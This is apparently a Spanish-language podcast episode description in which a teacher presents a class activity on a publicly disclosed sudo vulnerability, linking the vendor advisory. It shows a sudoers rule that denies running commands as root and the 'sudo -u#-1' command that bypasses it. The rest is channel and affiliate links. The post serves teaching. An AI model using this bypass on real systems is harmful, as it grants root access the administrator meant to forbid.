En este episodio os comento una actividad realizada con mis alumnos sobre una vulnerabilidad de Linux.
https://www.sudo.ws/alerts/minus_1_uid.html

si pones en el sudoers
una denegación explícita de ejecución como root
ana ALL=(ALL, !root) comando
(comando es cualquier comando u ALL para todos los comandos)
ahora si ana hace
sudo adduser pp, no le deja
pero si haces
sudo -u#-1 adduser , le deja

canal de Telegram: Mosqueteroweb en canal, https://t.me/mosqueterowebencanal
Amazon afiliados : https://amzn.to/2VAfFYz
Booking 10% https://booking.com/s/67_0/dfa8eb0e
Podcast Pedro el de la suerte: https://anchor.fm/s/1053b00/podcast/rss

Ver todos los episodios